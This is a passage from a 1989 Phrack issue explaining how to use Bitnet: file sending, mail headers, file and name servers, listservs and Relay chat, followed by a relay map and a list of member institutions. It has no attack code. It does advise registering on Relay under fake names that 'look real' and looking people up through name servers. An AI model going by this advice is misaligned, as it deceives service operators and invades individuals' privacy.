+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +‑‑‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑the address of the recipient

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the file you are sending

However, at my particular node the command would read:

SENDFILE PHRACK TEXTFILE A TO (nickname)

For some reason at my node, you cannot use SENDFILE to send a file to anyone unless they are in your NAMES file. The NAMES file is a database type of list that translates userid@node into nicknames to make it easier to chat with people. This way you can use their nickname instead of the tiresome userid@node. The filemode, in this example "A", is the disk that the file "PHRACK TEXTFILE" is on. In case you were wondering, with the exception of my address, most of the addresses in this file like PROPHET@PHRACKVM or MENTOR@PHOENIX are bogus and just examples for this presentation.

The syntax for VMS/JNET systems is quite similar:

SEND/FILE filename.extension userid@node

For example:

SEND/FILE PHRACK.TEXTFILE PROPHET@PHRACKVM

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ +‑‑‑‑‑‑‑‑

| |

| +‑‑‑‑‑‑‑‑the address of the recipient

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑the file you are sending

The file sent is stored in the "electronic mailbox" of the recipient until he/she logs on. People on VM/CMS systems would use the RECEIVE or RDRLIST (shortened to "RL") commands to process files sent to them in this way. People on VAX/VMS systems would use the RECEIVE command. You should check your local documentation for more information on these commands.

SEND/FILE and SENDFILE are useful for sending programs or large volumes of data like Phrack issues over the network. However, they should not be used for everyday communication because there is a much easier way ‑‑ the MAIL.

Mail

~~~~

The other form of Bitnet communication has been given a very apt name: MAIL (often called "electronic mail" or "e‑mail"). Just like regular postal service mail, you provide an address, return address, and text. Software for sending mail software differs from site to site, so you will have to look in your local documentation for information. On my particular node, the return address (your address) is automatically placed in the letter. This presentation should be able to shed some light on what most mail looks like and how it works.

Mail files are really just specially formatted text files. The feature that makes them different is the "mail header." This tells a Bitnet system and your mail software that it is not a regular text file. It looks something like this:

The address of the recipient

The subject |

Your address | |

Todays date | | |

Date: Fri, 29 Dec 88 23:52:00 EDT <‑‑+ | | | From: Forest Ranger <RANGER@STLVAX1> <‑‑‑‑‑+ | | Subject: Cable Pair Busted For Child Molestation<‑‑‑‑‑‑‑‑+ | To: Phrack World News <KNIGHT@MSPVMA> <‑‑‑‑‑‑‑‑‑‑‑+

An entire mail message would look like this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Mail header

|

| Date: Fri, 29 Dec 88 23:52:00 EDT

| From: Forest Ranger <RANGER@STLVAX1>

| Subject: Cable Pair Busted For Child Molestation

| To: Phrack World News <KNIGHT@MSPVMA>

+ ===================================

+ Have you seen the newspapers? Is this good news, or what? I think that | the ramifications are startling. This is one more step on the road to a | higher civilization. I hope he gets what he deserves. Keep in touch, I | will send more information later.

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Mail text

Mail has a number of advantages. The size of a mail file is limited only by you and is the only way to send files to networks other than Bitnet (However, I do not recommend that you transmit anything longer than 3000 lines). When your mail reaches the destination address, it will be stored in the user's mailbox until they read it. If the links to that particular node are disconnected, your mail will be held until the path is clear for the mail to continue on its route to the recipient's mailbox.

The disadvantage of mail is that it is, indeed, slower than messages. The longer your mail file, the longer it will take to get from Point A to Point B.

________________________________________

Conclusion

~~~~~~~~~~

Don't despair, this is only the conclusion to this file. The best functions of Bitnet are yet to be described. Join me in the second chapter of The Future Transcendent Saga ‑‑ Foundations Upon The Horizon.

Also included in this issue of Phrack are sitelists for Bitnet. Actual node directories are available from LISTSERV@BITNIC, but they are much too large to be printed here. However, the files that are included list the names of the universities and institutions that are connected to Bitnet without their node addresses (some institutions have over 30+ nodes). If you attend a college or university that is hooked into Bitnet, then join me in the realm of infinite discovery. When you do, drop me a line...

:Knight Lightning (C483307@UMCVMB)

For related reading please see;

An Insight On Wide‑Area Networks Part 2 by Jester Sluggo

(Phrack Inc. Issue 6, file 8)

Communications Of The ACM

Foundations On The Horizon; Chapter Two of FTSaga

==Phrack Inc.==

Volume Two, Issue 23, File 5 of 12

<><><><><><><><><><><><><><><><><

<>

<> Foundations Upon The Horizon <>

<> ~~~~~~~~~~~~~~~

<> Chapter Two of The Future Transcendent Saga <>

<>

<> Using Servers And Services In The World Of Bitnet <>

<>

<> Presented by Knight Lightning <>

<> January 2, 1989 <>

<>

<><><><><><><><><><><><><><><><><

Welcome to the second chapter of The Future Transcendent Saga. In this file, I will present the servers and services of Bitnet (although there are some services and servers on other networks as well). You will learn what the servers are, how they differentiate, how to use them, and come to a better understanding of how these Foundations Upon The Horizon help make Bitnet a virtual Utopia.

________________________________________

What Is A Server?

~~~~~~~~~~~~~~~~~

One of most useful features of Bitnet is the variety of file servers, name servers, relays, and so on. They might be described as "virtual machines" or "server machines."

A "server" is a userid a lot like yours. It may exist on your computer (node) or on some other BITNET node. The people who set up this userid have it running a program that will respond to your commands. This is a "server." The commands you send and the way in which the server responds to them depends on the particular program being run. For example, the servers UMNEWS@MAINE and 107633@DOLUNI1 offer different types of services, and require different commands. The various kinds of servers are described later in this document.

You can send your commands to most servers in one of two formats: MAIL or

MESSAGE.

Not all servers accept commands via both formats, but this information is included in the document BITNET SERVERS which can be obtained from LISTSERV@BITNIC. Because there are so many servers I will not even begin to list them here. Different servers are created and disconnected everyday so it would be difficult to name them all.

People on VM/CMS systems would send commands something like this:

TELL userid AT node command (AT = @)

For example:

TELL NETSERV@MARIST HELP

People on VAX/VMS systems using the JNET networking software would use this syntax:

SEND userid@node "command"

For example:

SEND NETSERV@MARIST "HELP"

Many servers can also accept commands via mail. Indeed, some will only accept your commands in that format, such as the servers on the non‑Bitnet nodes. The syntax for the commands you send remain the same. You send mail to the server as if you were sending the mail to a person. The text of your message would be the command. Some servers will take the command as the first line of a text message, others require it in the "Subject:" line. Some servers will accept more than one command in a mail message, others will take only one. Here is an example of a mail message sent to LISTSERV@BITNIC requesting a list of files:

Date: Fri, 30 Dec 88 23:52:00 EDT

From: Taran King <SYSOP@MSPVMA>

To: Listserv <LISTSERV@BITNIC>

===================================

INDEX

Throughout this file I will use examples where commands are sent to servers via message. However, for many of the cases we will present you have option of using mail. The choice is yours.

There are two particularly confusing aspects of servers of which you should be aware. First, servers in the same category (say, file servers) do not always accept the same commands. Many of them are extremely different. Others are just different enough to be annoying. There are many approaches to setting up a server, and everyone is trying to build a better one.

The second problem is that there are many servers that fill two, sometimes three categories of server. For example, LISTSERV works as a list server and a file server. Many LISTSERVs have been modified to act as name servers as well, but they are rather inefficient in this capacity. If you do not understand this terminology, bear with me. The best is yet to come.

File Servers

~~~~~~~~~~~~

Remember that a server runs on a userid much like yours. Like your userid, it has many capabilities, including the ability to store files (probably with a much greater storage capacity though). The program that a file server runs enables it to send you files from its directory, as well as a list of files available. These may be programs or text files. You might look at these servers as Bitnet versions of dial‑up bulletin boards or AE Lines.

You can generally send three types of commands to a file server. The first type is a request for a list of files the server offers. The second is a request that a specific file be sent to your userid. The third, and most important is a HELP command.

The HELP command is very important because it is one of the few commands that almost all servers accept, no matter what the type. Because the commands available differ from server to server, you will often find this indispensable. Sending HELP to a server will usually result in a message or file sent to your userid listing the various commands and their syntax. You should keep some of this information handy until you are comfortable with a particular server.

To request a list of files from a server, you will usually send it a command like INDEX or DIR. The list of files will be sent to you via mail or in a file. For example:

VM/CMS: TELL LISTSERV@BITNIC INDEX

VMS/JNET: SEND LISTSERV@BITNIC "INDEX"

To request a specific file from the list you receive, you would use a command like GET or SENDME. For example to request the file BITNET TOPOLOGY from LISTSERV@BITNIC you would type on of the following:

VM/CMS: TELL LISTSERV@BITNIC SENDME BITNET TOPOLOGY VMS/JNET: SEND LISTSERV@BITNIC "SENDME BITNET TOPOLOGY"

In many cases the files are organized into subdirectories or filelists. This can make requesting a file more complicated. This makes it even more essential that you keep documentation about a particular server handy. Some file servers offer programs that you can run which will send commands to the server for you.

Name Servers

~~~~~~~~~~~~

Name servers serve two purposes; to assist you in finding an address for someone or to help you find people with specific interests. I doubt you are going to care about tracking down people by their interests, so I am not going to discuss those aspects of nameservers. The servers that actually let you look up people are few and far between. Because there are so few I have composed this list;

Columbia University FINGER @ CUVMA

Cork University INFO @ IRUCCIBM

Drew University NAMESERV @ DREW

North Dakota State University FINGER @ NDSUVM1 Ohio State University WHOIS @ OHSTVMA Pennsylvania State University IDSERVER @ PSUVM Rochester Institute Of Technology INFO @ RITVAXD

LOOKUP @ RITVM

State University of New York (SUNY) at Albany WHOIS @ ALBNYVM1 University of Calgary NAMESERV @ UNCAMULT University of Kentucky WHOIS @ UKCC University of Illinois at Urbana‑Champagne PHSERVE @ UIUCVMD University of Louisville (Kentucky) WHOIS @ ULKYVM University of Regina VMNAMES @ UREGINA1 University of Tennessee UTSERVER @ UTKVM1 Weizmann Institute of Science VMNAMES @ WEIZMANN

So as not to be misleading, these servers do not necessarily cover the entire school. Example: The server at University of Louisville covers people on the node ULKYVM, but not the nodes ULKYVX0x (x = 1 ‑ 8 I believe). ULKYVX is a VAXcluster of nodes at University of Louisville, but the people on those systems are NOT indexed on the server at ULKYVM. In contrast, the nameserver at University of Illinois contains online listings for every student and staff member whether they have accounts on the computer or not. You can get phone numbers and addresses using this. Please note that the above list is only to the best of my knowledge and others may exist.

There are also many Listservs that have a command to search for people, but with Listserv, signing up is by choice and not mandatory. You also will end up getting listings for people from nodes other than the one you are searching.

Ok, lets say I am trying to find an account for Oryan QUEST and I am told by a friend that he is going to school at Ohio State University. Ohio State University has a nameserver and if he has an account on their computer I should be able to find him.

VM/CMS: TELL WHOIS@OHSTVMA Quest

VMS/JNET: SEND WHOIS@OHSTVMA "Quest"

This particular nameserver only requires that you enter the persons name with no "search" command. Some servers require this. Your best bet is to send the command "HELP" first and you'll receive documentation.

Ok, back to the example... unfortunately, there is no entry for "Quest" and I am out of luck. I should have been smart enough to realize that no college would be likely to let Oryan QUEST enroll in the first place ‑‑ my mistake.

In any case, I highly recommend that you register yourself with UMNEWS@MAINE and BITSERVE@CUNYVM. These are popular nationwide servers that are often used to locate people.

Forums, Digests, and Electronic Magazines

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The concept of mailing lists has been given new life with the creation of computer networks. Let me explain what I mean. Almost everyone is on some sort of mailing list; magazines, bills or even pamphlets from your congressman.. The computer networks have brought a whole new degree of speed and functionality to mailing lists, as you will see.

In Bitnet, mailing lists are used mainly to keep people with similar interests in contact. There are several formats in which this contact can take place. These are "forums," "digests," and "electronic magazines".

FORUMS are a good example of how the utility of mailing lists has been expanded in Bitnet. Let's say that you have subscribed to a forum for people interested in Cyberpunks. How you could subscribe to such a list will be described later. Another person on the mailing list sends mail to a server where the list is kept. This server forwards the mail to all of the people in the forum. When mail from a forum arrives in your computer mailbox, the header will look much like this:

Date: Fri, 10 Sep 88 23:52:00 EDT

Reply‑To: CYBER Discussion List <CYBER‑L@PUNKVM> Sender: CYBER Discussion List <CYBER‑L@PUNKVM> From: Sir Francis Drake <DRAKE@WORMVM>

Subject: Invasion From X‑Neon!

To: Solid State <SEKER@PLPVMA>

===================================

This may look a little confusing, but there really isn't much to it. In this example, Sir Francis Drake ("From:") sent mail to the CYBER‑L list address. This server then forwarded the mail to everybody on the list, including Solid State ("To:"). Note the line named "Reply‑To:". This line tells your mail software that when you reply to the note (if you reply) that the reply should go to the list... meaning *everybody* on the list. People will in turn reply to your mail, and you have a forum.

Some forums are very interesting, but using the digests can lead to problems. First among these is the volume of mail you can receive. If you are in a very active forum, you can get 50 or more pieces of electronic mail in a single day. If you are discussing a controversial or emotional topic, expect more.

Many people have a tendency to "flame" (the Bitnet term for ragging). The speed and immediacy of electronic mail makes it very easy to whip out a quick, emotional response, to which there will be similar replies. I advise you to take some time and think out your responses to forum postings before inadvertently starting a "flame war." Hopefully anyone able to gain access to college computers will be mature enough to have outgrown these battles.

DIGESTS provide a partial solution to the these problems. In this case, mail that is sent to a mailing list is stored rather than sent out immediately. At some point the "Moderator" for the list organizes and condenses all of the correspondence for the day or week. He then sends this out to the people on the mailing list in one mailing.

The drawback with this setup is that it requires a lot of human intervention. If the moderator gets sick, goes on vacation, or quits, activity for a particular digest can come to a screeching halt.

ELECTRONIC MAGAZINES take the digest concept a step further. These mailing lists actually duplicate the organization and format of "real" magazines. Bitnet is used as a convenient and inexpensive distribution method for the information they contain. The frequency of distribution for these electronic magazines ranges ranges from weekly to quarterly to "whenever the editor feels like it" (sort of like Phrack releases). This is the most formal, structured form of Bitnet communication. Where a digest is simply a group of letters organized by topic, an electronic magazine includes articles, columns, and features. Perhaps the only feature of paper magazines that they do *not* include is advertisements. Bitnet NetMonth and NetWeek are two of the better magazines on Bitnet and they contain useful information if you know what you're looking for. I will discuss how to subscribe to these magazines as well as the other forms of media in the next part of this file.

List Servers

~~~~~~~~~~~~

In the previous section, I mentioned that some servers are used to control mailing lists. A server that performs this function is called a "list server." Almost all of these listservers have the userid of LISTSERV, such as LISTSERV@BITNIC. One of these servers can control subscriptions to many mailing lists. The other concept behind Listservs are the list‑ids, but as these are rather unimportant and vary from server to server I am not going to discuss them here. If you would like to learn about these, consult your local listserv and request documentation with the HELP command.

To subscribe to a mailing list, you would send a LISTSERV a SUBSCRIBE command, which has the following syntax:

SUBscribe listname (whatever name you want)

In this example, SpyroGrya is sending LISTSERV@BITNIC the command to subscribe to ETHICS‑L:

VM/CMS: TELL LISTSERV@BITNIC SUB ETHICS‑L SpyroGyra VMS/JNET: SEND LISTSERV@BITNIC "SUB ETHICS‑L SpyroGyra"

If you misspell your name when entering a SUBscribe command, simply resend it with the correct spelling. To delete his name from the mailing list, SpyroGyra would enter an UNSUBscribe command:

VM/CMS: TELL LISTSERV@BITNIC UNSUB ETHICS‑L VMS/JNET: SEND LISTSERV@BITNIC "UNSUB ETHICS‑L"

In many cases the SIGNOFF command is used instead of UNSUB, but those are the basic commands you need to know in order to access Listserv controlled mailing lists. However, Listserv has a multitude of features, so it would be a good idea to read the Listserv documentation.

*Note* If you are on a VAXcluster, you should send SUBSCRIBE and UNSUBSCRIBE commands to LISTSERV via MAIL.

Relays

~~~~~~

Relay might be one of the easier types of servers to understand. If you have used the CB Simulator on CompuServe or are familiar with Diversi‑Dials (or maybe even ALTOS Chat) you will catch on to the concept quickly. The idea behind Relay is to allow more than two people to have conversations by interactive message. Without Relay‑type servers, this would not be possible.

Let's set up a scenario:

Sluggo, Taran, and Mentor are at different nodes. Any two of them can have a conversation through Bitnet. If the three of them want to talk, however, they have a problem. Sluggo can send Mentor messages, but Taran can't see them. Likewise, Taran can send Sluggo messages, but then Mentor is in the dark. What they need is a form of teleconferencing. Alliance doesn't exist on Bitnet so they created Relays.

Each of these users "signs on" to a nearby Relay. They can pick a channel (0‑999 although there are more, but they are reserved for special use). Instead of sending messages to Taran or Sluggo, Mentor sends his commands to the Relay. The Relay system then sends his message to *both* Taran and Sluggo. The other users can do the same. When they are done talking, they "sign off."

Relays can distinguish commands from the text of your messages because commands are prefixed with a slash "/". For example, a HELP command would look like this:

VM/CMS: TELL RELAY@UIUCVMD /HELP

VMS/JNET: SEND RELAY@UIUCVMD "/HELP"

A message that is part of a conversation would be sent like so:

VM/CMS: TELL RELAY@UIUCVMD Hello there!

VMS/JNET: SEND RELAY@UIUCVMD "Hello there!"

When you first start using Relay, you must register yourself as a Relay user using the /SIGNUP or /REGISTER commands:

VM/CMS: TELL RELAY@UIUCVMD /REGISTER (Choose a name) VMS/JNET: SEND RELAY@UIUCVMD "/REGISTER (Choose a name)"

They want you to use your real name, do so if you want, but they really have no way to check unless one of the operators is a user consultant at your node and looks up your account. Just use names that look real and you'll be fine.

You can then sign on. You can use a nickname or handle. In the following example, I am signing on to Channel 260 with a nickname of "KLightning":

VM/CMS: TELL RELAY@UIUCVMD /SIGNON KLightning 260 VMS/JNET: SEND RELAY@UIUCVMD "/SIGNON KLightning 260"

You can then start sending the Relay the text of your messages:

VM/CMS: TELL RELAY@UIUCVMD Good evening.

VMS/JNET: SEND RELAY@UIUCVMD "Good evening."

Relay messages will appear on your screen like this. Note the nickname near the beginning of the message. When you send conversational messages to the Relay, it automatically prefixes them with your nickname when it forwards it to the other users:

FROM UIUCVMD(RELAY): <Taran_King> Hello KLightning.

You can find out who is on your channel with a /WHO command. In the following example, someone is listing the users on Channel 260.

VM/CMS: TELL RELAY@UIUCVMD /WHO 260

VMS/JNET: SEND RELAY@UIUCVMD "/WHO 260"

The response from the Relay would look like this:

FROM UIUCVMD(RELAY): Ch UserID @ Node Nickname FROM UIUCVMD(RELAY): 260 C483307@UMCVMB (KLightning) FROM UIUCVMD(RELAY): 260 MENTOR@PHOENIX (The_Mentor) FROM UIUCVMD(RELAY): 260 C488869@UMCVMB (Taran_King) FROM UIUCVMD(RELAY): 260 PROPHET@PHOENIX ( Prophet ) FROM UIUCVMD(RELAY): 260 DRAKE@WORMVM ( Sfd ) FROM UIUCVMD(RELAY): 260 JESTER@NDSUVM1 ( Sluggo ) FROM UIUCVMD(RELAY): 260 TUC@RACS3VM ( Tuc ) FROM UIUCVMD(RELAY): 260 VINNY@LODHVMA (Lex_Luthor)

When you are done with your conversation, you can sign off the Relay:

VM/CMS: TELL RELAY@UIUCVMD /SIGNOFF or /BYE VMS/JNET: SEND RELAY@UIUCVMD "/SIGNOFF" or "/BYE"

There are several commands for listing active channels, sending private messages, and so on. When you first register as a Relay user, you will be sent documentation. You can also get this information with the /INFO command. To determine which Relay serves your area, send any of the Relays listed in BITNET SERVERS the /SERVERS command. Also, because of Bitnet message and file traffic limits, many Relays are only available during the evening and weekends.

To help illustrate how the Relays work I have included this map; [United States of America locations only]

Non‑USA Relays | RELAY @ CLVM |

^ TwiliteZne) |

/|\ Potsdam N.Y. |

|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

| RELAY @ VILLVM | | RELAY @ ORION | | RELAY @ YALEVM | | (Philadelph) |‑‑‑‑‑| (New_Jersey) |‑‑‑‑‑| (Yale) | | Villanova PA. | | New Jersey | | New Haven CT. |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| RELAY @NDSUVM1 | | \ \ | RELAY @NYUCCVM |

| (No_Dakota ) |\ | \ Nyu ) |

| North Dakota | \ | \ New York |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \ |

\ |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑‑‑‑‑‑‑‑‑‑‑‑‑

| RELAY @JPNSUT10 | | RELAY @ BITNIC | | | CXBOB @ASUACAD | | ( Tokyo ) |‑‑‑‑‑| ( NewYork ) | | | (Tempe_Ariz) | | Japan | | New York‑Singapore | | | Arizona |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| MASRELAY@ UBVM | \ | | RELAY @ USCVM |

| ( Buffalo ) |\ ‑‑LosAngeles) |

| New York (N) | \ / California |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \

\

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \

| RELAY @ WATDCS | \ / | RELAY @ UWAVM |

| ( Waterloo ) | \ / Seattle ) |

| Ontario/E. Canada | | / | Washington |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

| RELAY @CANADA01 | | RLY @CORNELLC | | 556 @OREGON1 | | ( Canada01 ) |‑‑‑‑‑| (Ithaca_NY ) | | ( Oregon ) | | Ontario (Guelph) | | New York | | Oregon |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| RELAY @UREGINA1 | | \ | RELAY @ VTVM2 |

| ( Regina_Sk ) | | Va_Tech ) |

| Saskatoon/Manitoba | | | Virginia |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| RELAY @UALTAVM | | | RELAY @ UWF |

| ( Edmonton ) | | Pensacola ) |

| Alberta/B.C. | | Florida |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

| RELAY @PURCCVM | | RELAY @CMUCCVMA | | RELAY @ UTCVM | | ( Purdue ) |‑‑‑‑‑| (Pittsburgh) |‑‑‑‑‑| (Tennessee ) | | Lafayette IN. | | Pennsylvania | | Tennessee |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| RELAY @TECMTYVM | | | RELAY @ GITVM1 |

| (Monterrey ) | | Atlanta ) |

| Mexico | | Georgia |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |

| |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

| RELAY @ TAMVM1 | | RELAY @UIUCVMD | | RELAY @ TCSVM | | (Aggieland ) |‑‑‑‑‑| (Urbana_IL ) |‑‑‑‑‑| ( Tulane ) | | Texas | | Illinois | | New Orleans LA. |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑

Conclusion

~~~~~~~~~~

So what lies beyond the boundaries of Bitnet? There are many other networks that are similar to Bitnet both in function and in services. How to mail to these networks will be discussed in the next chapter of The Future Transcendent Saga ‑‑ Limbo To Infinity.

:Knight Lightning

Future Trancendent Saga Index A from the Bitnet Services Library

==Phrack Inc.==

Volume Two, Issue 23, File 6 of 12

<><><><><><><><><><><><><><><

<>

<> UTOPIA Index File 1 <>

<>

<> BITNET Member Institutions <>

<>

<> December 1988 <>

<>

<><><><><><><><><><><><><><><

Abilene Christian University

Albion College

Allegheny College

American Assoc of State Colleges Univs (AASCU) Meeting American Institute of Physics

American Physical Society

American University

Amherst College

Annenberg Research Institute

Appalachian State University

Argonne National Laboratory

Arizona State University

Association for Computing Machinery

Auburn University

Babson College

Ball State University

Baylor University

Bentley College

Biotechnology Research Center

BITNET Network Information Center

BITNET‑Internet Gateway

Boise State University

Boston College

Boston University

Bowdoin College

Bowling Green State University

Brandeis University

Brigham Young University

Brookhaven National Laboratory

Brown University

Bryn Mawr College

Bucknell University

California Institute of Technology

California Polytechnic State University‑San Luis Obispo California State University

Canisius College

Carnegie Mellon University

Case Western Reserve University

Catholic University of America

Catonsville Community College

Central Michigan University

Chemical Abstracts Service

City University of New York CUNY

Claremont Graduate School

Clark University

Clarkson University

Clemson University

Cleveland State University

Cold Spring Harbor Laboratory

Colgate University

College of DuPage

College of the Holy Cross

College of William and Mary

Colorado School of Mines

Colorado State University

Columbia University

Columbia University Teachers College

Connecticut College

Connecticut State University System

Continuous Electron Beam Accelerator Facility Control Data Corporation

Cornell University

Dakota State College

Dartmouth College

Davidson College

De Paul University

Denison University

Dickinson College

Drake University

Drew University

Drexel University

Duke University

East Carolina University

East Tennessee State University

Educational Computing Network of Illinois Educational Testing Service

EDUCOM

Electric Power Research Institute

Emory University

Exxon Research and Engineering Company

Fermi National Accelerator Laboratory

Florida Central Regional Data Center

Florida Northeast Regional Data Center

Florida State University

Food and Drug Administration

Fordham University

Franklin and Marshall College

Fred Hutchinson Cancer Research Center

Gallaudet University

General Electric Corporate Research & Development George Mason University

George Washington University

Georgetown University

Georgetown University Medical Center

Georgia Institute of Technology

Georgia State University

Gettysburg College

Grinnell College

Gustavus Adolphus College

Hampshire College

Harvard University

Harvey Mudd College

Haverford College

Hofstra University

Howard University

IBM Almaden Research Center

IBM VNET Gateway

IBM Watson Scientific Research Center Yorktown Illinois Institute of Technology

Indiana University

Indiana University of Pennsylvania

Indiana University/Purdue University at Indianapolis Institute for Advanced Study

Iona College

Iowa State University

Ithaca College

James Madison University

Jersey City State College

John Carroll University

John Von Neumann Center

Johns Hopkins University

Kansas State University

Kent State University

Lafayette College

Lawrence Berkeley Laboratory

Lawrence University

Le Moyne College

Lehigh University

Lewis and Clark College

Long Island University

Los Alamos National Laboratory

Louisiana State University

Louisiana State University Medical Center

Loyola College

Loyola University of Chicago

Macalester College

Macomb Community College

Manhattan College

Maricopa County Community College District

Marist College

Marquette University

Marshall University

Massachusetts Institute of Technology

Medical College of Ohio

Medical College of Wisconsin

Medical University of South Carolina

Merit Computer Network

Miami University

Michigan State University

Michigan Technological University

Middlebury College

Millersville University of Pennsylvania

Mississippi State University

Montana State University

Montgomery College

Mount Holyoke College

NASA Goddard Institute for Space Studies

National Academy of Sciences

National Aeronautics and Space Administration National Astronomy and Ionosphere Center

National Bureau of Standards

National Center for Atmospheric Research

National Institute of Environmental Health Sciences National Institutes of Health

National Radio Astronomy Observatory

National Science Foundation

Naval Health Sciences Education and Training Command Naval Postgraduate School

New Jersey Educational Computer Network

New Jersey Institute of Technology

New Mexico State University

New York State College of Ceramics at Alfred University New York University

North Carolina State University

North Dakota Higher Education Computer Network Northeast Missouri State University

Northeastern University

Northern Arizona University

Northern Illinois University

Northwestern University

Norwich University

Oak Ridge National Laboratory

Oakland Community College

Oberlin College

Ohio State University

Ohio University

Ohio Wesleyan University

Oklahoma State University

Old Dominion University

Online Computer Library Center (OCLC)

Oregon State University

Pace University Pleasantville‑Briarcliff Campus Pacific Lutheran University

Pan American University

Pennsylvania State University

Pepperdine University

Polytechnic University

Pomona College

Portland State University

Pratt Institute

Princeton University

Purdue University

Radford University

Reed College

Regents Computer Network

Rensselaer Polytechnic Institute

Research Libraries Group

Rhodes College

Rice University

Rochester Institute of Technology

Rockefeller University

Rohm and Haas Company

Rose‑Hulman Institute of Technology

Rutgers University

Saint Louis University

Saint Mary's University of San Antonio

Saint Michael's College

Saint Peter's College

Salk Institute

Sam Houston State University

Samford University

San Diego Supercomputer Center

Santa Clara University

Seton Hall University

Shriners Hospital for Crippled Children

Skidmore College

Smith College

Smithsonian Institution

South Dakota State University

Southeast Regional Data Center/FIU

Southeastern Massachusetts University

Southern Illinois University

Southern Illinois University at Edwardsville Southern Methodist University

Southwest Missouri State University

Southwest Texas State University

Space Telescope Science Institute

St. Lawrence University

Stanford Linear Accelerator Center

Stanford Synchrotron Radiation Laboratory

Stanford University

State University of New York Agricultural and Tech College at Canton State University of New York Agricultural & Tech Col at Farmingdale State University of New York at Albany

State University of New York at Binghamton

State University of New York at Buffalo

State University of New York at Stony Brook

State University of New York Central Administration State University of New York College at Brockport State University of New York College at Buffalo

State University of New York College at Cortland

State University of New York College at Fredonia

State University of New York College at Geneseo

State University of New York College at New Paltz State University of New York College at Old Westbury State University of New York College at Oneonta

State University of New York College at Oswego

State University of New York College at Plattsburgh State University of New York College at Potsdam

State University of New York College of Technology at Alfred State University of New York College of Technology at Delhi State University of New York Health Science Center at Brooklyn State University System of Minnesota System Office Stephen F. Austin State University

Stevens Institute of Technology

Swarthmore College

Syracuse University

Tarleton State University

Temple University

Tennessee Technological University

Texas A&M University

Texas Christian University

Texas Tech University

The Center for Cultural and Technical Exchange Between East and West The Citadel, The Military College of South Carolina The Jackson Laboratory

The World Bank

Towson State University

Transylvania University

Trenton State College

Triangle Universities Computation Center

Triangle Universities Nuclear Laboratory

Trinity College

Trinity University

Tufts University

Tulane University

Uniformed Services University of the Health Sciences Union College

United States Environmental Protection Agency

United States Geological Survey

University of Akron

University of Alabama

University of Alabama at Birmingham

University of Alaska

University of Arizona

University of Arkansas

University of Arkansas at Little Rock

University of Arkansas for Medical Sciences

University of California

University of California Berkeley

University of California Davis

University of California Irvine

University of California Los Angeles

University of California Riverside

University of California San Diego

University of California San Francisco

University of California Santa Barbara

University of California Santa Cruz

University of Central Florida

University of Chicago

University of Cincinnati

University of Colorado at Boulder

University of Colorado at Colorado Springs

University of Colorado at Denver

University of Colorado Health Sciences Center University of Connecticut

University of Dayton

University of Delaware

University of Denver

University of Florida

University of Georgia Athens

University of Hartford

University of Hawaii

University of Houston

University of Houston at Clear Lake

University of Idaho

University of Illinois at Urbana‑Champaign

University of Illinois Chicago

University of Iowa

University of Kansas

University of Kansas Medical Center

University of Kentucky

University of Louisville

University of Maine

University of Maryland

University of Massachusetts at Amherst

University of Massachusetts at Boston

University of Medicine & Dentistry of New Jersey University of Michigan

University of Minnesota

University of Minnesota at Morris

University of Minnesota Duluth

University of Mississippi

University of Missouri ‑ Columbia

University of Missouri ‑ Kansas City

University of Missouri ‑ Rolla

University of Missouri ‑ St. Louis

University of Nebraska ‑ Omaha

University of Nebraska Computer Services Network University of Nebraska Lincoln

University of Nebraska Medical Center

University of Nevada

University of New Hampshire

University of New Mexico

University of New Orleans

University of North Carolina at Chapel Hill

University of North Carolina at Charlotte

University of North Carolina at Greensboro

